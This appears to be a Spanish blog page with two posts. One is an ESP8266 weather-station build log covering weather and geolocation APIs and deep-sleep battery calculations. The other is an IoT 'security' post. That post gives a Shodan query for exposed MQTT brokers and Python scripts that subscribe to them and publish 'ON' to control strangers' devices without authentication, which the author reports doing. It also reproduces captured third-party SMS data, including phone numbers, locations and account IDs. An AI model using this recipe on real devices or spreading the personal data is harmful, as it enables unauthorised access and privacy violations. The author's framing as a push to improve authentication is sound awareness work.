lunes, 27 de febrero de 2017

Hack - Dispositivos IOT ¿son seguros ?

Hoy en dia estan muy de moda los dispositivos IOT (Internet of things) o sea la tendencia de la sociedad a conectar todo a internet, el cual esta bueno, en cierta medida poder determinar lo que ocurre en tu hogar, donde se encuentra tu auto o manejar ciertos dispositivos de tu hogar(domotica), todo esto si no esta bien configurado minimo con contraseñas, cualquiera puede tener acceso voy a mostrar herramientas sencillas y que cualquiera puede usar nada de metasploit aunque tambien se puede y es terrorifico.

Este material es un proof prueba de concepto es para mejorar tu seguridad si usas mqtt o alguna api que use json, trata de mejorar la autentificacion minimamente.

Un buscador el cual revela mucha informacion que no deberia verse es shodan

Deben registrarse para usar la api tambien
https://www.shodan.io

Un puerto interesante para buscar es el 1883 en este puerto corren servicios como MQTT sin cifrar (sea cual sea mosquito o server dedicado) responden a sub - pub o sea subscripciones y publicaciones por decirlo asi muchas estan open por ser publicas, de prueba pero otras nos revelan informacion confidencial y si la veo yo cualquiera podria.


En shodan una busqueda texto mas puerto

esp8266 port:"1883"  (Servicios MQTT de dispositivos esp8266 micros wifi muy IOT utilizados ahora para todo)




Algo como 30 dsipositivos esp8226 corriendo mqtt tambien podemos ver sus topics

En el ejemplo hay dos dispositivos mqtt esp8266dev001 y  esp8266dev002 podemos hacer un sub y ver los datos por supuesto que si. parte de un esp8266 publica generalmente sin password

/****
#include <ESP8266WiFi.h>

#include <PubSubClient.h>

#include <OneWire.h>

#include <DallasTemperature.h>
 /****

pequeño script rapido en python tiene errores para sub al dispositivo por el puerto 1883 el cual no piden contraseñas de autentificacion

/********************************************************************
#!/usr/bin/env python3
import paho.mqtt.client as mqtt
topic="topicsusando+#"
host="port"

def on_connect(client, userdata, flags, rc):
    print("Conectado a "+host)
    client.subscribe(topic)


def on_message(client, userdata, msg):
    payload = str(msg.payload.decode())
    print("El valor seteado "+topic+" -->"+payload)
    #client.disconnect()  
  
client = mqtt.Client()        
client.connect(host,1883,60)

client.on_connect = on_connect
client.on_message = on_message

client.loop_forever()
/********************************************************************
Resultado puedo ver la informacion del lugar temperatura, humedad y valores en mV algun control PWM posiblemente de un hogar en españa...


otro ejemplo fue una respuesta de este tipo un json que responde al dispositivo ownstrack, googleando un poco es una compañia de seguimiento te instalas la aplicacion en el celular y guarda la posicion en el server, parseando el json obtenemos lat y longitud del individuo parece un auto.


se supone que no deberia ver esto  es en eeuu hasta los nombres se pueden ver :(


Y la cosa se pone peor ver todos los dispositivos y encontrar algo inesperado


 Esta no me la esperaba sinceramente es un servicio de sms atraves de internet se ve el sms no estoy seguro que servicio es pero es un json sin cifrar atraves de MQTT ??


Lo parsee todo y es raro parte del mensaje sin codificar se ven los hash md5 y ac3 de los usuarios y el sms
 
["ToCountry"]; // "US"
["ToState"]; // "TX"
["SmsMessageSid"]; // "SMd5f1a6fafc71c29accbcd0911af08551"
["NumMedia"]; // "0"
["ToCity"]; // "MARION"
["FromZip"]; // "78666"
["SmsSid"]; // "SMd5f1a6fafc71c29accbcd0911af08551"
["FromState"]; // "TX"
["Type"]; // "Sms"
["Status"]; // "received"
["FromCity"]; // "SAN MARCOS"
["Body"]; // "Welcome to hass"
["FromCountry"]; // "US"
["To"]; // "+18304200062"
["ToZip"]; // "78152"
["NumSegments"]; // "1"
["MessageSid"]; // "SMd5f1a6fafc71c29accbcd0911af08551"
["AccountSid"]; // "AC3bc0f80a693629fa67da57362818bd73"
["From"]; // "+15126658221"
["ApiVersion"]; // "2010-04-01"

Bueno algo mas es posible controlar un dispositivo es decir encender o apagar algo creo que si

un pequeño script que publica a un topic que lo permite /set
/****************************************************************************
#!/usr/bin/env python3

import paho.mqtt.client as mqtt
import time
topic= "topic/set"
host= "host"
set1 = "ON"

client = mqtt.Client()
client.connect(host,1883,60)
client.publish(topic, set1);
print("Hackeando MQTT Server "+host +"---" +topic+" nuevo valor " +set1)
client.disconnect();
/****************************************************************************


Como veran pude cambiar el estado del dispositivo remoto de off a on ya que permite las sub y pub sin autentificacion es mas lo volvi a apagar je.

Internet avanzo demasiado asi como la era de los dispositivos IOT el cual son muy atractivos, pero tengan en cuenta a la hora de implementar el proyecto en forma de produccion usar autentificacion, encriptacion y hatsa VPN.



viernes, 24 de febrero de 2017

esp8266 - Estacion metereologica sensores + api-json openweathermap

Este proyecto nacio por mi interes por el cambio climatico que estamos teniendo, aunque se dice que el efecto invernadero es mentira sin palabras ja.

 Esta estacion metereologica comenzo con sensores reales

Servidor estacion de modo local
microcontrolador 24bits / esp-8266 esp-12
Medicion de temperatura y humedad: DHT-22
Medicion de presion atmosferica: BMP-180
Punto de rocio a presion atmosferica - Calculado
Pronostico - Calculado (mejorar)




 Obtencion de request a API
No me agradan las API pero luego de leer un muy buen post

 https://cirujadigital.wordpress.com/2017/01/11/obteniendo-informacion-de-internet-para-nuestro-proyecto-iot-apis-del-clima-geolocalizacion-fechahora-and-other-issues/

como que me dio curiosidad y admito que tiene una potencia increible pero dependemos de tener internet.

Api Geolocalizacion de google
Obtenemos los datos de georeferencia latitud y longitud desde donde generemos la peticion ip, o torre celular (funciona bien en mi caso no detecta antena pero me da la posicion por ip bastante acertada)

request(post-https) --->devuelve un json -->lo parseamos con arduino-json

Api Openweathermap
Obtenemos los datos del clima  a partir de pasarle la latitud y longitud obtenida de la api de google

request(get-http)  --->devuelve un json -->lo parseamos con arduino-json

Herramientas a usar
Rest Clinet para firefox para hacer las pruebas


Deben registrarse en ambas api para obtener las api_key y revisar la documentacion par obtener los datos.

openweathermap  http://openweathermap.org/api

GET http://api.openweathermap.org/data/2.5/weather?lat=XXX&lon=XXX&APPID=(aca va su api_key)e&units=metric&lang=es


Geolocalizacion api google  https://console.developers.google.com

Documentacion de su uso
https://developers.google.com/maps/documentation/geolocation/intro?hl=en_US

Esta es diferente usamos el metodo POST

POST https://www.googleapis.com/geolocation/v1/geolocate?key=("aca va su api_key")
Head
Content-Type: application/json
Body


{
  "homeMobileCountryCode": 310,
  "homeMobileNetworkCode": 410,
  "radioType": "gsm",
  "carrier": "Vodafone",
  "considerIp": "true",
  "cellTowers": [
    // See the Cell Tower Objects section below.
  ],
  "wifiAccessPoints": [
    // See the WiFi Access Point Objects section below.
  ]
}


Ahora con los datos de respuesta en formato JSON usamos la libreria arduino-json el cual tambien tiene un generador de variables dinamicas

https://bblanchon.github.io/ArduinoJson/assistant/




Aca dejo la implementacion de las api para la estacion metereologica no finalizada aun.



Estacion con sensores
sudo git clone https://github.com/pablinn/est_met.git
https://github.com/pablinn/est_met

Uso de API
sudo git clone https://github.com/pablinn/api_google.git

https://github.com/pablinn/api_google

Version final implementar todo mejorar la geolocalizacioncon un GPS real..

Saludos..


Mejoras implemente el modo deepsleep gracias a la ayuda del grupo esp8266 de facebook, con buenos resultados pero en el grupo me comentaban que el consumo deberia ser menor del orden de los uA

modo normal conectado 80mA
modo deepsleep 8mA deberia ser 10uA
Pero el regulado as1117 drena alrededor de 7.5 a 8 mAlo que nos da una vida de bateria aprox.

Segun este blog
http://arduinoamuete.blogspot.com.ar/2017/01/modo-deep-sleep-en-esp8266.html

ESP.deeepsleep( uint32_t uS,int modo de reinicio)

Machete :)
1 minuto --> 60 segundos S
1 minuto ->  60000 milisegundos mS (60exp3)
1 minutos -> 60000000 microsegundos uS (60exp6)

 
El maximo valor uint32_t seria 2^32 = 4294967296 uS = 71min , 32 seg

 4294967296/ 60000000=71 minutos
 
//*gpio16 conectado a reset

if (millis() >= 60000) {//1 min
      ESP.deepSleep(300 * 1000000, WAKE_RF_DEFAULT);//3min
    
     }
//*


v_BAT [v] * a_BAT [ah] / vc_BAT [v] * ac_BAT  [a]
7.4 V * 0.850 AH / 3.3 V * 0.082 A =23.2 Hs
7.4 V * 0.850 AH / 3.3 V * 0.008 A =238 Hs  :)
las 238 hs son en teoricas ya que el consuma oscilaria entre 8mA a 80mA por lo que depende del tiempo

t <tiempo de actividad (mayor consumo 80mA)
t >tiempo de deepsleep (menor consumo 8mA)

En teoria este calculo lo saque de un blog
=(v_bat / corr_work ) * (tiempo_sleep / tiempo_work)

=(850mAH /80mA )* (300s / 60s)

=53 Hs
Si extendemos el tiempo de deepsleep aumentamos las horas de autonomia

=(850 /80 )* (600 / 60)
=106hs

=(850 /80 )* (2000 / 10)  --->2000/60 = 33 minutos sleep x 10 seg work
=2125 hs



Probando la api de thingspeak esta bastante buena y podemos para realizar tendencias..